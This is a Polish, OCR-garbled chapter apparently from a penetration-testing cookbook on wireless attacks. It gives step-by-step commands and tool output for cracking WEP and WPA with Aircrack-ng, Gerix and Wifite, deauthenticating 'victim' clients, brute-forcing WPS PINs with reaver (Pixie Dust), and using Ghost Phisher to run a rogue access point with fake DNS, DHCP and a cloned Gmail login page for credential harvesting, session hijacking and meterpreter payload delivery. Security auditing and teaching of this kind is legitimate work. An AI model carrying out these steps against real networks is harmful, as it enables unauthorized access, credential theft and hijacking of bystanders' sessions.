Ataki bezprzewodowe - jak oming¢ Aircrack-ng
Wprowadzenie
Jak opisano na oficjalnej stronie internetowej:

,Aircrack-ng to kompletny zestaw narzedzi do oceny bezpieczenstwa sieci Wi-Fi. Skupia sie na réznych
obszarach bezpieczenstwa sieci Wi-Fi:

Monitorowanie: przechwytywanie pakietdw i eksportowanie danych do plikdw tekstowych w celu
dalszego przetwarzania przez narzedzia innych firm

Ataki: ataki typu replay, deauthentication, fatszywe punkty dostepu i inne za pomocg wstrzykiwania
pakietéw

Testowanie: sprawdzanie kart Wi-Fi i mozliwosci sterownikdéw (przechwytywanie i wstrzykiwanie)
tamanie: WEP i WPA PSK (WPA 1i 2)”
Dobry stary Aircrack

Aircrack to pakiet oprogramowania dla sieci, ktéry sktada sie z detektora sieci, sniffera pakietéw i
tamacza WEP/WPA2. Jest to oprogramowanie typu open source i zostato stworzone dla sieci LAN
bezprzewodowych 802.11 (wiecej informacji mozna znalez¢ na stronie https:/ / en. wikipedia. org/
wiki/ IEEE_ 802. 11). Sktada sie z roznych narzedzi, takich jak aircrack-ng, airmon-ng, airdecap, aireplay-
ng, packetforge-ng itd. W tym przepisie oméwimy podstawy tamania sieci bezprzewodowych za
pomocg pakietu Aircrack. Nauczysz sie uzywac narzedzi takich jak airmon-ng, aircrack-ng, airodump-
ng itd., aby famac hasta sieci bezprzewodowych wokaét nas.

Przygotowanie

Bedziemy potrzebowac sprzetu Wi-Fi obstugujacego wstrzykiwanie pakietéw. Karty Alfa firmy Alfa
Networks, TP-Link TL-WN821N i EDIMAX EW-7811UTC AC600 to niektdre z kart, ktérych mozemy uzyé.
W tym przypadku uzywamy karty Alfa.

Jak to zrobié...
Ponizsze kroki demonstrujg Aircrack:

1. Wpisujemy polecenie airmon-ng, aby sprawdzi¢, czy nasza karta zostata wykryta przez Kali:

~# alrmon-ng

PHY [mterface [er Chipset

phy1 wlantmon 12 sh ialink Technology, Corp. RIT

-

2. Nastepnie musimy ustawi¢ nasz adapter w tryb monitorowania, uzywajgc nastepujgcego polecenia:
airmon-ng start wlanOmon

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:



phy 1 wlandmon
I

- mode already enabled Tor [phyllwlandmon an [phy1]13)

3. Teraz, aby zobaczy¢, ktdre routery dziatajg w sgsiedztwie, uzywamy nastepujgcego polecenia:
airodump-ng wlanOmon

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

KG-BRAVIA

4. Tutaj zapisujemy BSSID sieci, ktérg chcemy ztamac; w naszym przypadku jest to B8:C1:A2:07:BC:F1,
a numer kanatu to 9. Zatrzymujemy proces, naciskajac Ctrl + C i pozostawiajac okno otwarte.

5. Teraz przechwytujemy pakiety za pomocg airodump-ng z przetacznikiem -w, aby zapisa¢ te pakiety
do pliku:

airodump-ng -w packets -c 9 --bssid B8:C1:A2:07:BC:F1 wlanOmon

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:
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6. Teraz musimy obserwowac kolumny sygnatéw i danych; liczby te zaczynajg sie od i rosng w miare
przesytania pakietéw miedzy routerem a innymi urzgdzeniami. Potrzebujemy co najmniej 20 000
wektordw inicjalizacji, aby pomysinie ztamaé hasto Wired Equivalent Privacy (WEP):

7. Aby przyspieszy¢ proces, otwieramy kolejne okno terminala i uruchamiamy aireplay-ng, a nastepnie
przeprowadzamy fatszywe uwierzytelnienie za pomoca tego polecenia:

aireplay-ng -1 0 -e <AP ESSID> -a <AP MAC> -h <OUR MAC> wlanOmon
{fatszywe uwierzytelnienie}

Ponizszy zrzut ekranu pokazuje przyktad poprzedniego polecenia:

57:cd: fc wlanGmon

Walting

8. Teraz wykonajmy odtwarzanie pakietéw ARP za pomoca nastepujgcego polecenia:
aireplay-ng -3 -b BSSID wlanOmon

Ponizszy zrzut ekranu pokazuje przyktad poprzedniego polecenia:

1 channel

9. Gdy mamy juz wystarczajacy liczbe pakietow, uruchamiamy aircrack-ng i podajemy nazwe pliku, w
ktorym zapisalismy pakiety:

aircrack-ng filename.cap

Ponizszy zrzut ekranu pokazuje przyktad poprzedniego polecenia:



Master Key

Tr ent Key

OL HMAC
:/homest

Jak to dziata...

Idea stojaca za tym atakiem polega na przechwyceniu jak najwiekszej liczby pakietéw. Kazdy pakiet
danych zawiera wektor inicjalizacji (IV), ktéry ma rozmiar 3 bajtow i jest z nim powigzany. Po prostu
przechwytujemy jak najwiecej wektoréw IV, a nastepnie uzywamy na nich Aircracka, aby uzyskaé nasze

hasto.

[00:00:00]
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Praktyczne doswiadczenie z Gerixem

W poprzednim przepisie nauczytes$ sie, jak uzywac pakietu Aircrack do tamania zabezpieczen WEP. W
tym przepisie uzyjemy narzedzia opartego na interfejsie graficznym Gerix, ktére utatwia korzystanie z
pakietu Aircrack i znacznie uftatwia audyt naszej sieci bezprzewodowej. Gerix to narzedzie oparte na

Pythonie stworzone przez J4r3tt.

Przygotowanie
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Zainstalujmy Gerix za pomocg nastepujgcego polecenia:

git clone https://github.com/J4r3tt/gerix-wifi-cracker-2.git

Jak to zrobié...

~
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Ponizsze kroki demonstrujg uzycie Gerix:

1. Po pobraniu przechodzimy do katalogu, w ktédrym zostat pobrany, i uruchamiamy nastepujace
polecenie:

cd gerix-wifi-cracker-2
2. Uruchamiamy narzedzie za pomocg nastepujgcego polecenia:
python gerix.py

Poprzednie polecenia mozna zobaczy¢ na ponizszym zrzucie ekranu:

:~/Desktop/gerix-wifi-cracker# cd ../
~/Desktop# git clone https://github.com/J4r3tt/gerix-wifi-cracker-2.qi

t
Cloning into 'gerix-wifi-cracker-2'...
remote: Counting objects: 48, done.
remote: Total 48 (delta 0), reused 0 (delta 0), pack-reused 48
Unpacking objects: 100% (48/48), done.
Checking connectivity... done.
/Desktop# cd gerix-wifi-cracker-2/
:~/Desktop/gerix-wifi-cracker-2# python gerix.py

3. Po otwarciu okna klikamy na Wtgcz/Wytgcz tryb monitorowania na karcie Konfiguracja, jak pokazano
na ponizszym zrzucie ekranu:



Gerix wifi cracker 2 e 0 0

Welcome | Configuration WEP WPA | Fake AP | Cracking Database Credits

Directory for session files (logs, .cap, ...):

/root/.gerix-wifi-cracker/ | | Clean old session files
Select the interface:
Interface MAC Chipset Driver Maode

1 wlanOman 00:c0:ca57... Ralink Techn.. [rt2800usb Monitor

Reload wireless interfaces | Set random MAC address | Enable/Disable Monitor Mode

Select the target network:
Essid Bssid Channel Signal Enc
Channel: | all channels v | Seconds: (10 | Rescan networks

04:16:53 - database reloaded: /root/.gerix-wifi-cracker/key-database.db [Success]

4. Nastepnie klikamy na Ponownie przeskanuj sieci:

Reload wireless interfaces Set random MAC address | Enable/Disable Monitor Mode |
Select the target network:
Essid Bssid Channel Signal Enc -
1 Tenda_OEO1.. CB:3A:35:0E.. (7 -80 WPA CCMP ... I
2 HCLMI B&:.C1.A2:1A. |8 -80 WPA CCMP ...
3 SDMANDIR 54:B8:0A95.. (1 -78 WPA2 CCMP... =
Channel | all channels v | Seconds: | 10 : Rescan networks

5. Pokaze nam to liste dostepnych punktéow dostepu i rodzaj uwierzytelniania, ktérego uzywaja.
Wybieramy ten z WPA, a nastepnie przechodzimy do zaktadki WPA.



6. Tutaj klikamy na Ogdlne funkcje, a nastepnie klikamy na Rozpocznij przechwytywanie:

Welcome Configuration WEP | WPA  Fake AP Cracking Database Credits

Welcome in WPA Attacks Control Panel

General functionalities

Functionalities

Start Sniffing and Logging

Tests

Performs a test of injection AP

7. Poniewaz atak WPA wymaga przechwycenia uscisku dtoni, potrzebujemy stacji, ktéra jest juz
podtgczona do punktu dostepu. Klikamy wiec na Autoload victim clients lub wpisujemy
niestandardowy adres MAC ofiary:

WPA handshake attack
Add victim client MAC:

94:53:30:68: 2E:A2 v

Autoload victim clients

Add the deauth number:

4 &
Mow you need to capture the HandShake, start the deauthentication.

Client deauthentication

8. Nastepnie wybieramy numer deauth. Wybieramy tutaj 0, aby wykonac¢ atak deauthentication i
klikamy na przycisk Client deauthentication:



Welcome Configuration WEP WPA  Fake AP Cracking Database Credits

Welcome in WPA Attacks Control Panel

General functionalities

WPA attacks

WPA handshake attack
Add victim client MAC:

Autoload victim clients
Add the deauth number;
4
Now you need to capture the HandShake, start the deauthentication

Client deauthentication

9. Powinno pojawic sie okno dialogowe, ktére wykona dla nas deautentykacje:

4 directed Defuth, STHAC: [
4 directed Deputh,. STHEC:
4 directed [eputh, STHAC:

4 directed DeRuth, STHAC:
Sending 4 directed Defuth, STHAC:
Sendin 4 directed Deputh. STHMAC:

4 directed Defuth. STHAC:

4 directed Deputh,. STHAC:

4 directed Defuth. STHAC: [

4 directed Defuth. STHMAC:

4 directed DePuth, STHAC:

4 directed [kefuth, STHARC:

g B4 directed Defuth, STHAC:
Sending 4 directed Defuth, STHAC:
=endin: 4 directed Deputh. STHEC:

4 directed DePuth. STHAC: |
4 dir DerRuth. STHRAC:

g B4 directed Defuth, STHAC:
Sendin 4 directed Defuth,. STHAC:
sehding b4 directed DePuth, STHAC:

4 directed [=puth. STHAC:
4 directed Defuth, STHAC: [
4 directed Defuth. STHAC: [
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W oknie airodump powinnismy zobaczy¢, ze uscisk dtoni zostat przechwycony.



10. Teraz, gdy jesteSmy gotowi ztamaé WPA, przechodzimy do zaktadki tamania WEP i w tamaniu WPA
metodg bruteforce podajemy sciezke do naszego stownika i klikamy na Aircrack-ng - Crack WPA
password:

Welcome in Cracking Control Panel
WEF cracking
WPA bruteforce cracking

Normal cracking
Add you dictionary:

frovnt

.fl.ir:rar_k-r'g - Crack WPA password

Pyrit cracking
(Fer use it you need to install pyrit support)

Add you dictionary:

fNCOT

Crack the password with pyrit

11. Powinno nam sie wyswietli¢ okno Aircrack, w ktérym zostanie wyswietlone hasto po jego ztamaniu:

ircrack-ng 1,2 rod

Tranzient Key

12. Podobnie, to narzedzie moze by¢ uzywane do tamania sieci WEP/WPA2.
Radzenie sobie z WPA

Wifite to narzedzie przeznaczone wytgcznie dla systemu Linux, zaprojektowane w celu
zautomatyzowania procesu audytu sieci bezprzewodowej. Aby mogto dziata¢ prawidtowo, wymaga
zainstalowania pakietu Aircrack, Reaver, Pyrit itd. Jest ono preinstalowane z Kali. W tym przepisie
dowiesz sie, jak uzywac wifite do tamania niektdrych



WPA.

Jak to zrobic...

Aby dowiedziec sie wiecej o Wifite, wykonaj nastepujace kroki:
1. Mozemy uruchomié¢ Wifite, wpisujgc nastepujgce polecenie:
wifite

Poprzednie polecenie wyswietla liste wszystkich dostepnych sieci, jak pokazano na ponizszym zrzucie
ekranu:

), updates at 5 sec intervals, when ready.

[0:00:11] wireless networks. targets and clients found

2. Nastepnie naciskamy Ctrl + C, aby zatrzymac¢; nastepnie zostaniesz poproszony o wybranie sieci,
ktéra chcemy sprébowad ztamac:

[+] select

3. Wprowadzamy nasz numer i naciskamy Enter. Narzedzie automatycznie préobuje uzy¢ innej metody,
aby ztamac sie¢, a na koricu pokaze nam hasto, jesli zostato ono pomysinie ztamane:



[+] select ) separated by commas, or

[+] target selected.

:20] starting

found:
] listening for handshake...

Posiadanie kont pracowniczych za pomoca Ghost Phisher

Ghost Phisher to oprogramowanie do audytu i atakow sieci bezprzewodowych, ktére tworzy fatszywy
punkt dostepu do sieci, ktéry oszukuje ofiare, aby sie z nim potfaczyta. Nastepnie przypisuje adres IP
ofierze. Narzedzie moze by¢ uzywane do przeprowadzania réznych atakow, takich jak wytudzanie
danych uwierzytelniajgcych i przechwytywanie sesji. Moze by¢ réwniez uzywane do dostarczania
ofiarom tadunkdéw meterpretera. W tym przepisie dowiesz sie, jak uzywaé tego narzedzia do
przeprowadzania réznych atakéw phishingowych lub kradziezy plikdw cookie, miedzy innymi.

Jak to zrobié...
Uzycie Ghost Phisher mozna zobaczy¢ w nastepujgcy sposob:

1. Uruchamiamy go za pomocg polecenia ghost-phisher:



Ghost Phisher

Fake Access Poant

Status

Fake DNS Se Fake DHCP Serve Fake HTTF Sarve GHOST Trap  Session Hijscking ~ ARF Cache Poison
Accesi Point Details
Aress Foint Wame “ha P
Runtime:
Wireless Interface
Curment Interface e Addre! e

d

Harvested Credantial

2. Tutaj wybieramy nasz interfejs i klikamy na Ustaw monitor:

Wiraless Interface

Refresh Card List

3. Teraz podajemy szczegdty punktu dostepowego, ktéry chcemy utworzyc:




Status

08:159: 54 Created tap interface atQ

D8:153: 54 Trying to set MTU on at0 to 1500

08:15:54 'r'l.'iré| to set MTL on wlandmon to 1800

08:19:55 Access Poamt with BSSID 00-:CO-CAST.CO-FD started.

Connections:

4. Nastepnie klikamy na Start, aby utworzy¢ nowa sie¢ bezprzewodowa o tej nazwie

5. Nastepnie przetgczamy sie na Fatszywy Serwer DNS. Tutaj musimy podac adres IP, do ktérego ofiara
bedzie kierowana za kazdym razem, gdy otworzy jakakolwiek strone internetowa:

Fake Access Point Fake DN Senvar Fake D'HCP Server Fake HTTP Sareer GHOST Trap | Session
DNS Interface Settings

I atg v |

Current Interface: atd

UDP DNS Port- 53

Query Responce Settings

' Resolve all queries to the following address [The currently selected IP address is recommended)

192.158172

Respc-'-d with Fake address DnL',' to the =-:|Il-:|1'.'i'|g website domains

|
Address; W/ ab

6. Nastepnie uruchamiamy serwer DNS.



7. Nastepnie przetgczamy sie na Fatszywy Serwer DHCP. Tutaj musimy sie upewnié, ze gdy ofiara
probuje sie pofaczy¢, otrzymuje adres IP przypisany do niej:

DHCF Version Infonmation

DHCP Settings
Srart 152 1648 11 Enat
Subnei mask 552553550 FETUNES

Fake DNS 192 16811 AltDNS: (19216813

Status

8. Po wykonaniu tej czynnosci klikamy Start, aby uruchomié ustuge DHCP.

9. Jesli chcemy kogos wytudzi¢ i przechwyci¢ dane uwierzytelniajgce, mozemy skierowaé go na nasza
strone phishingowag, ustawiajgc opcje na karcie Fatszywy serwer HTTP. Tutaj mozemy przestac strone
HTML, ktdérg chcemy wyswietli¢, lub podac adres URL, ktéry chcemy sklonowa¢. Uruchamiamy serwer:

Fabe Access Point Faloe NS Saruer Faloe DHCP Server Fake HTTP Sarver GHOST Trap Session Hijacking =~ ARP Cache Poimoning ~ Harvested Credentials Abourt

HTTP Interface Settings

atf v 192.168.0.1
et Interface: ait Sersce
TCP Pt 80 Pratocol: HTTP (Hypartex
Webpage Settings

ﬂ ane Webisate WS -:---nl

vel el Webpage

Aeal Websis F Addrass or Urd P Aoy .gmail com Rum Wabpage on Port ; Default HTTP
Serdce Mode
& Credential Capture Mode Hosting Mosde
Status
HTTF Sarve
Successfully cloned hitps/igmaile
captured credentisls:




10. W nastepnej zaktadce widzimy Ghost Trap; ta funkcja pozwala nam wykona¢ atak Metasploit
payload, ktéry poprosi ofiare o pobranie przygotowanego przez nas payloadu meterpretera, a gdy tylko
zostanie on wykonany, otrzymamy potaczenie z meterpreterem.

11. W zaktadce Session Hijacking mozemy nastuchiwac i przechwytywac sesje, ktére moga przechodzié
przez sie¢. Wszystko, co musimy tutaj zrobic, to wpisac¢ adres IP bramy lub routera i klikng¢ Start, a on
wykryje i wyswietli wszystkie przechwycone pliki cookie/sesje:

Fabe Access Pont Faka DNS Serwe Fabvn DHCP Sqrver Fake HTTF Serves GHOST Trag won Fpecien ARP Ci e Posening Harvested Credestiats AOma

Atak Pixie Dust

Wi-Fi Protected Setup (WPS) wprowadzono w 2006 r. dla uzytkownikéw domowych, ktérzy chcieli
potgczyé sie ze swojg siecig domowgq bez koniecznosci pamietania skomplikowanych haset do Wi-Fi.
Uzywat o$miocyfrowego kodu PIN do uwierzytelniania klienta w sieci. Atak Pixie Dust to sposdb na
brutalne wymuszenie osmiocyfrowego kodu PIN. Atak ten umozliwiat odzyskanie kodu PIN w ciggu
kilku minut, jesli router byt podatny na atak. Z drugiej strony, proste brutalne wymuszenie zajetoby
kilka godzin. W tym przepisie dowiesz sig, jak przeprowadzi¢ atak Pixie Dust. Liste podatnych routeréw,
na ktérych atak zadziata, mozna znalez¢ na stronie https:/ / docs.google. com/ spreadsheets/ d/
1tSIbqVQ59kGn8hgmwcPTHUECQ309YhXRI1A  p7Nnj5Y/ edit? pref= 2 pli= 1#gid= 2048815923.

Przygotowania

Potrzebujemy sieci z wigczonym WPS. W przeciwnym razie nie zadziata.

Jak to zrobic...

Aby dowiedziec sie wiecej o pixie dust, wykonaj nastepujgce kroki:

1. Uruchamiamy nasz interfejs w trybie monitorowania za pomocg nastepujacego polecenia:

airmon-ng start wlan0



2. Nastepnie musimy znalez¢ sieci z wtgczonym WPS; mozemy to zrobi¢ za pomocg nastepujgcego
polecenia:

wash -i <monitor mode interface> -C

Ponizszy zrzut ekranu pokazuje przyktad poprzedniego polecenia:

Desktop# wash -1 wlan@mon -C

Wash v1.5.2 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

mod by t6 X <t6 x@hotmail.com> & DataHead & Soxrok2212

Channel S WPS Version WPS Locked

Akshay f.f
TP-LINK EF1A

—t

the simpsons
Maximum

D DOONANN
el il el el
DD DD DDDODD

-

3. Teraz uruchamiamy reavera za pomoca nastepujgcego polecenia:
reaver -i wlanOmon -b [BSSID] -vv -S -c [AP channel]
Ponizszy zrzut ekranu pokazuje przyktad poprzedniego polecenia:

/Desktop# reaver -i wlan®mon -b A4:2B:BO:AD:EF:1A -vwv -S -c 6

Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2811, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
by t6 x <t6 x@hotmail.com> & DataHead & Soxrok2212

Switching wlanBmon to channel 6
Waiting for beacon from A4:2B:B0O:AD:EF:1A
Associated with A4:2B:BO:AD:EF:1A (ESSID: TP-LINK EFI1A)
] Starting Cracking Session. Pin count: ©, Max pin attempts: 11060
WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking

4. Po wykonaniu tej czynnosci powinnismy zobaczy¢ kod PIN.



